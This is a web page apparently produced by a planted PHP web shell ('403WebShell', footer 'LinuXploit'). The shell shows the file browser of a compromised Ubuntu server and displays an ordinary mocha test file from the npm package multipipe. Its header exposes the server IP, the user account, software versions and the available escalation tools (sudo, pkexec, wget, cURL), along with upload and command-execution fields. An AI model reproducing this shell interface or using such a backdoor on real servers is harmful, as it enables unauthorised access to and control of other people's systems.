Uname:Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64

Base Dir : /var/www/html

User : gavin


403WebShell
403Webshell
Server IP : 68.183.124.220  /  Your IP : 216.73.217.137
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : gavin ( 1000)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/gavin/workspace/happymandarin/node_modules/multipipe/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gavin/workspace/happymandarin/node_modules/multipipe/test/multipipe.js
var assert = require('assert');
var pipe = require('..');
var Stream = require('stream');

describe('pipe(a)', function(){
  it('should return a', function(){
    var readable = Readable();
    var stream = pipe(readable);
    assert.equal(stream, readable);
  });
});

describe('pipe(a, b, c)', function(){
  it('should pipe internally', function(done){
    pipe(Readable(), Transform(), Writable(done));
  });
  
  it('should be writable', function(done){
    var stream = pipe(Transform(), Writable(done));
    assert(stream.writable);
    Readable().pipe(stream);
  });

  it('should be readable', function(done){
    var stream = pipe(Readable(), Transform());
    assert(stream.readable);
    stream.pipe(Writable(done));
  });
  
  it('should be readable and writable', function(done){
    var stream = pipe(Transform(), Transform());
    assert(stream.readable);
    assert(stream.writable);
    Readable()
    .pipe(stream)
    .pipe(Writable(done));
  });
 
  describe('errors', function(){
    it('should reemit', function(done){
      var a = Transform();
      var b = Transform();
      var c = Transform();
      var stream = pipe(a, b, c);
      var err = new Error;
      var i = 0;
      
      stream.on('error', function(_err){
        i++;
        assert.equal(_err, err);
        assert(i <= 3);
        if (i == 3) done();
      });
      
      a.emit('error', err);
      b.emit('error', err);
      c.emit('error', err);
    });

    it('should not reemit endlessly', function(done){
      var a = Transform();
      var b = Transform();
      var c = Transform();
      c.readable = false;
      var stream = pipe(a, b, c);
      var err = new Error;
      var i = 0;
      
      stream.on('error', function(_err){
        i++;
        assert.equal(_err, err);
        assert(i <= 3);
        if (i == 3) done();
      });
      
      a.emit('error', err);
      b.emit('error', err);
      c.emit('error', err);
    });
  });
});

describe('pipe(a, b, c, fn)', function(){
  it('should call on finish', function(done){
    var finished = false;
    var a = Readable();
    var b = Transform();
    var c = Writable(function(){
      finished = true;
    });

    pipe(a, b, c, function(err){
      assert(!err);
      assert(finished);
      done();
    });
  });

  it('should call with error once', function(done){
    var a = Readable();
    var b = Transform();
    var c = Writable();
    var err = new Error;

    pipe(a, b, c, function(err){
      assert(err);
      done();
    });

    a.emit('error', err);
    b.emit('error', err);
    c.emit('error', err);
  });
});

function Readable(){
  var readable = new Stream.Readable({ objectMode: true });
  readable._read = function(){
    this.push('a');
    this.push(null);
  };
  return readable;
}

function Transform(){
  var transform = new Stream.Transform({ objectMode: true });
  transform._transform = function(chunk, _, done){
    done(null, chunk.toUpperCase());
  };
  return transform;
}

function Writable(cb){
  var writable = new Stream.Writable({ objectMode: true });
  writable._write = function(chunk, _, done){
    assert.equal(chunk, 'A');
    done();
    cb();
  };
  return writable;
}

Youez - 2016 - github.com/yon3zu
LinuXploit